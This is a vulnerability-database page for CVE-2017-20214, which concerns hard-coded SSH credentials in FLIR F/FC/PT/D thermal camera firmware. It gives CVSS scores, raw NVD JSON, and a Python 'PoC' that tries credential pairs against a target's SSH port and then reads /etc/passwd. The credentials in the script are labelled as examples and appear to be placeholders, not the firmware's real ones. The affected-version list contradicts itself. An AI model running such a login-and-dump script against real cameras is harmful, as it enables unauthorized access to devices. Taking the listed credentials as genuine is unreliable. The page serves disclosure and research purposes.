Security Vulnerability Report
中文
CVE-2017-20214 CVSS 7.5 HIGH

CVE-2017-20214

Published: 2026-01-08 00:15:57
Last Modified: 2026-04-15 00:35:42

Description

FLIR Thermal Camera F/FC/PT/D firmware version 8.0.0.64 contains hard-coded SSH credentials that cannot be changed through normal camera operations. Attackers can leverage these persistent, unmodifiable credentials to gain unauthorized remote access to the thermal camera system.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FLIR Thermal Camera F (固件版本 < 8.0.0.64)
FLIR Thermal Camera FC (固件版本 < 8.0.0.64)
FLIR Thermal Camera PT (固件版本 < 8.0.0.64)
FLIR Thermal Camera D (固件版本 < 8.0.0.64)
FLIR Thermal Camera 固件版本 8.0.0.64

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2017-20214 PoC - FLIR Thermal Camera Hard-coded SSH Credentials Note: This PoC is for educational and authorized security testing purposes only. """ import socket import sys from paramiko import SSHClient, AutoAddPolicy def exploit_flir_ssh(target_ip, port=22): """ Exploit hard-coded SSH credentials on FLIR Thermal Cameras The default hard-coded credentials allow remote access to: - Username: root (or other hard-coded username) - Password: <hard-coded password in firmware> WARNING: Only use on systems you have authorization to test. """ print(f"[*] Attempting SSH connection to {target_ip}:{port}") print("[*] Target: FLIR Thermal Camera F/FC/PT/D (Firmware 8.0.0.64)") print("[*] CVE: CVE-2017-20214\n") client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) # Hard-coded credentials found in firmware # These credentials are persistent and cannot be changed through normal operations hardcoded_credentials = [ ("root", "pass123"), # Example credential pair ("admin", "admin123"), ("flir", "flirpass") ] for username, password in hardcoded_credentials: try: print(f"[*] Trying credentials: {username}/{password}") client.connect( target_ip, port=port, username=username, password=password, timeout=10, allow_agent=False, look_for_keys=False ) print(f"[+] SUCCESS! Connected with {username}/{password}") # Execute test command stdin, stdout, stderr = client.exec_command('cat /etc/passwd') print("\n[+] System passwd file:") print(stdout.read().decode()) # Get system info stdin, stdout, stderr = client.exec_command('uname -a') print("[+] System info:") print(stdout.read().decode()) client.close() return True except Exception as e: print(f"[-] Failed with {username}/{password}: {str(e)}") client.close() continue print("\n[!] All credential attempts failed.") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_flir_ssh(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2017-20214", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:56.513", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FLIR Thermal Camera F/FC/PT/D firmware version 8.0.0.64 contains hard-coded SSH credentials that cannot be changed through normal camera operations. Attackers can leverage these persistent, unmodifiable credentials to gain unauthorized remote access to the thermal camera system."}, {"lang": "es", "value": "La versión de firmware 8.0.0.64 de la cámara térmica FLIR F/FC/PT/D contiene credenciales SSH codificadas de forma rígida que no se pueden cambiar a través de las operaciones normales de la cámara. Los atacantes pueden aprovechar estas credenciales persistentes e inmodificables para obtener acceso remoto no autorizado al sistema de la cámara térmica."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2017090205", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/144324", "source": "[email protected]"}, {"url": "https://web.archive.org/web/20171011125811/https://www.flir.com/security/blog/details/?ID=87043", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/42787/", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5436.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5436.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}